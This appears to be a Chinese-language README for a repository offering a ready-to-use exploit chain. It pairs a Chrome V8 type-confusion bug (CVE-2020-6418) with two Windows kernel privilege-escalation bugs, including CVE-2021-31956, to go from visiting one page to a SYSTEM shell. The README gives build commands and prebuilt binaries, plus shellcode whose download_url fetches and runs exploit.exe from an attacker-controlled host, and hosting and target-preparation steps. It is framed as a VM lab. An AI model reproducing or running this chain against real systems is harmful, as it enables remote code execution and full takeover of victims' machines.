
针对 CVE-2020-6418(Chrome RCE)的单阶段漏洞利用链,结合 Windows 提权至 SYSTEM,附带构建脚本和预编译二进制文件。
这个仓库包含一个可用的单阶段漏洞利用链,针对 CVE-2020-6418(V8 的 Turbofan 编译器中的一个类型混淆漏洞,影响 Google Chrome 80.0.3987.87 x64)。当使用存在漏洞的 Chrome 访问恶意页面时,你会在渲染器进程内获得原生代码执行能力。从那里开始,该漏洞利用会下载并启动第二个二进制文件,该文件将另外两个漏洞串联起来(NtPowerInformation 中缺少长度检查,以及 CVE-2021-31956(ntfs.sys 中的池溢出)),从而从未授权进程一路上升到 NT AUTHORITY\SYSTEM。
整个过程只需访问页面一次,浏览器漏洞到 SYSTEM shell 之间无需任何手动步骤。
Chrome 漏洞利用的原始功劳归于 Clement Lecigne(漏洞发现,Google TAG)和 Istvan Kurucsai / Vignesh S Rao(原始概念验证,后来作为 Metasploit 模块发布)。我们移除了 Metasploit 依赖,并围绕一个原生下载器重新构建了投递机制,而不是将 payload 嵌入页面。详见 browser-exploit/README.md。
browser-exploit/ The Chrome exploit (the V8 bug + the native stub)
exploit_template.html HTML/JS source, with a placeholder for the stub
build_exploit.py generates exploit.html from the template
shellcode/ the native code the exploit injects into Chrome
privilege-escalation/ The Windows EoP chain, a standalone C program
prebuilt/ Ready to use binaries (exploit.html and exploit.exe)
notes/ An earlier approach we tried and abandoned, kept
as a record of what we learned along the way
攻击机(“主机”): 任何较新的 Windows,带有 Visual Studio 2019 或 2022(任何版本均可,Community 版即可,或者仅 Build Tools)、NASM 和 Python 3。这是你构建所有内容并托管漏洞利用页面的地方。
目标机(“VM”): 必须完全匹配,漏洞利用依赖硬编码的偏移量,这些偏移量仅对这些特定版本有效。
winver 或 PowerShell 中的 [System.Environment]::OSVersion 检查。chrome://version 检查。C:\lab8 文件夹(可以为空,只需要存在即可)。我们在带有仅主机网络适配器的 VMware Workstation VM 上进行了测试,但任何让 VM 能通过 HTTP 访问主机的设置都以相同方式工作。
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
首次构建之前,打开 browser-exploit\shellcode\download_and_run_stub.asm,并编辑底部附近的两行:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP 是这台机器从 VM 视角看到的 IP 地址(在 VM 上运行 ipconfig,检查与你的仅主机或 NAT 网络匹配的网络适配器;或者直接在主机上运行 ipconfig,使用与 VM 同一子网的适配器)。destination_path 应与你希望 EoP 二进制文件在 VM 内落地的位置一致,默认为 C:\lab8。
编辑后,重新汇编 stub 并重新生成 exploit.html(即第 1 步中的两个命令,跳过 privilege-escalation 的构建,因为它不依赖 IP)。
如果你不想为了快速测试而修改汇编文件,prebuilt/ 中已有一个可用副本,其中内置了我们自己的测试 IP。只有在你的网络恰好匹配时它才能工作,因此构建自己的副本才是可靠的方式。
将 exploit.html 和 exploit.exe(在 privilege-escalation/ 中构建的那个)放在同一文件夹中,然后:
python -m http.server 8000
exploit.exe 必须能够通过你上面在 download_url 中填写的确切 URL 访问,因为原生 stub 是直接获取它,而不是通过浏览器。
关于主机防火墙的快速说明:如果 VM 无法访问端口 8000,几乎总是 Windows Defender 防火墙在未分类网络上阻止了入站连接,或者有一条遗留规则专门阻止 python.exe(Windows 有时会在应用首次尝试在不受信任的网络接受连接时自动创建这样的规则)。如果遇到这种情况,请在提升的 PowerShell 中检查 Get-NetFirewallRule -DisplayName "python.exe"。
确认 Windows 构建版本和 Chrome 版本符合上述要求。
如果 C:\lab8 尚不存在,则创建它(空目录即可)。
如果这是一个从未经过真实启动周期的裸 VM,C:\Windows\bootstat.dat 可能缺失或为空,而内核漏洞需要该文件存在且具有有效内容。如果需要:
if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
使用 --no-sandbox 启动存在漏洞的 Chrome(此 PoC 不包含沙箱逃逸,因此渲染器必须已经处于无沙箱状态,才能访问文件系统并生成进程),并将其指向该页面:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
打开 DevTools(F12)并查看 Console 标签页,漏洞利用会在那里记录其进度。如果一切正常,你应该会看到类型混淆成功,stub 下载并启动 EoP 二进制文件,几秒后会出现一个以 NT AUTHORITY\SYSTEM 身份运行的新控制台窗口。
exploit_template.html 中的偏移量(objleaker_offset、float_carw_elements_offset 等)特定于 80.0.3987.87 x64,即使只差一个补丁版本,它们在其他构建版本上也无法工作。DEFAULT_RVA_ANCHOR、DEFAULT_RVA_SEPSD,以及 privilege-escalation/exploit.c 中的各种 EPROCESS/ETHREAD 偏移量)是针对该版本硬编码的。download_and_run_stub.asm 中的 download_url 是否与主机实际监听的地址和端口一致,并确保 VM 能够访问它(在 VM 内部直接执行 curl http://YOUR_HOST_IP:8000/exploit.exe 是在归咎于漏洞利用之前确认连通性的快速方法)。有关每个部分的更多细节(包括为何以这种方式构建),请参阅各文件夹的 README。